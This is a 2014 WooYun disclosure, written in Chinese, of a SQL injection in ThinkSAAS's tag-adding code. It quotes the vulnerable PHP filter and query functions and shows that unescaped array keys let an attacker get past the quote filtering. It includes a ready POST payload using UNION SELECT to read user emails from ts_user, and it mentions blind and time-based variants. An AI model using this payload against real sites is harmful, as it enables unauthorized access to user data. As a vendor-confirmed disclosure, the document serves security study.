[公开漏洞]Thinksaas某处绕过过滤的注射漏洞

来源：WooYun　浏览：1035次　时间：2014-05-05

Thinksaas某处绕过过滤的注射漏洞相关厂商： thinksaas.cn 漏洞作者：′ 雨。提交时间：2014-02-03 17:14 公开时间：2014-05-04 17:14 漏洞类型：SQL注射漏洞危害等级：高自评Rank：20 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签：无漏洞详情披露状态：

2014-02-03：细节已通知厂商并且等待厂商处理中
2014-02-04：厂商已经确认，细节仅向厂商公开
2014-02-07：细节向第三方安全合作伙伴开放
2014-02-14：细节向核心白帽子及相关领域专家公开
2014-02-24：细节向普通白帽子公开
2014-03-16：细节向实习白帽子公开
2014-05-04：细节向公众公开

简要描述：

添加标签过滤不严。

详细说明：

今天下了一个thinksaas 最新版，就看了看

在xfkxfk 爆了一些洞后还是变安全了一些。但是还是有很多依旧没过滤。

xfkxfk 爆了app/tag/action/add.php

我看的漏洞文件 app/tag/action/add_ajax.php

case "do":



$objname = t($_POST['objname']);

$idname = t($_POST['idname']);

$objid = t($_POST['objid']);

$tags = t($_POST['tags']);



$new['tag']->addTag($objname,$idname,$objid,$tags);



echo "<script language=JavaScript>parent.window.location.reload();</script>";



break;

}

做了过滤

function t($text) {

$text = preg_replace ( '/\[.*?\]/is', '', $text );

$text = cleanJs ( $text );

// 彻底过滤空格BY QINIAO

$text = preg_replace ( '/\s(?=\s)/', '', $text );

$text = preg_replace ( '/[\n\r\t]/', ' ', $text );

$text = str_replace ( ' ', ' ', $text );

// $text = str_replace ( ' ', '', $text );

$text = str_replace ( ' ', '', $text );

$text = str_replace ( '&', '', $text );

$text = str_replace ( '=', '', $text );

$text = str_replace ( '-', '', $text );

$text = str_replace ( '#', '', $text );

$text = str_replace ( '%', '', $text );

$text = str_replace ( '!', '', $text );

$text = str_replace ( '@', '', $text );

$text = str_replace ( '^', '', $text );

$text = str_replace ( '*', '', $text );

$text = str_replace ( 'amp;', '', $text );

$text = str_replace ( 'position', '', $text );

$text = strip_tags ( $text );

$text = htmlspecialchars ( $text );

$text = str_replace ( "'", "", $text );

return $text;

}</code>

过滤了单引号还有各种注释。。

过滤了之后带入了addTag

function addTag($objname,$idname,$objid,$tags){

    

if($objname != '' && $idname != '' && $objid!='' && $tags!=''){

$tags = str_replace ( '，', ',', $tags );

$arrTag = explode(',',$tags);

foreach($arrTag as $item){

$tagname = t($item);

if(strlen($tagname) < '32' && $tagname != ''){

$uptime = time();



$tagcount = $this->findCount('tag',array(

'tagname'=>$tagname,

));



if($tagcount == '0'){



$tagid = $this->create('tag',array(

'tagname'=>$tagname,

'uptime'=>$uptime,

));



$tagIndexCount = $this->findCount('tag_'.$objname.'_index',array(

$idname=>$objid,

'tagid'=>$tagid,

));



if($tagIndexCount == '0'){



$this->create("tag_".$objname."_index",array(

$idname=>$objid,

'tagid'=>$tagid,

));



}



$tagIdCount = $this->findCount("tag_".$objname."_index",array(

'tagid'=>$tagid,

));



$count_obj = "count_".$objname;



$this->update('tag',array(

'tagid'=>$tagid,

),array(

$count_obj=>$tagIdCount,

));



}else{



$tagData = $this->find('tag',array(

'tagname'=>$tagname,

));



$tagIndexCount = $this->findCount("tag_".$objname."_index",array(

$idname=>$objid,

'tagid'=>$tagData['tagid'],

));



if($tagIndexCount == '0'){



$this->create("tag_".$objname."_index",array(



$idname=>$objid,

'tagid'=>$tagData['tagid'],



));



}



$tagIdCount = $this->findCount("tag_".$objname."_index",array(

'tagid'=>$tagData['tagid'],

));



$count_obj = "count_".$objname;



$this->update('tag',array(

'tagid'=>$tagData['tagid'],

),array(

$count_obj=>$tagIdCount,

'uptime'=>$uptime,

));



}



}

}

}

}

$tagIndexCount = $this->findCount('tag_'.$objname.'_index',array(

$idname=>$objid,

'tagid'=>$tagid,

));

可以看到直接$idname 做key了。

public function findCount($table, $conditions = null) {

$where = "";

if (is_array ( $conditions )) {

$join = array ();

foreach ( $conditions as $key => $condition ) {

$condition = $this->escape ( $condition );

$join [] = "{$key} = {$condition}";

}

$where = "WHERE " . join ( " AND ", $join );

} else {

if (null != $conditions)

$where = "WHERE " . $conditions;

}

$sql = "SELECT COUNT(*) AS ts_counter FROM " . dbprefix . "{$table} {$where}";

$result = $this->db->once_fetch_assoc ( $sql );



return $result ['ts_counter'];

}

但是key是未过滤的。过滤了value

所以这里function t 过滤了单引号也没什么了因为可以在key那里注入。

但是过滤了注释后面这样就行了

objid=123&objname=article&idname=123 union select email from ts_user limit 1,1;a&tags=idname

即可注入。可以盲注、延时。

漏洞证明：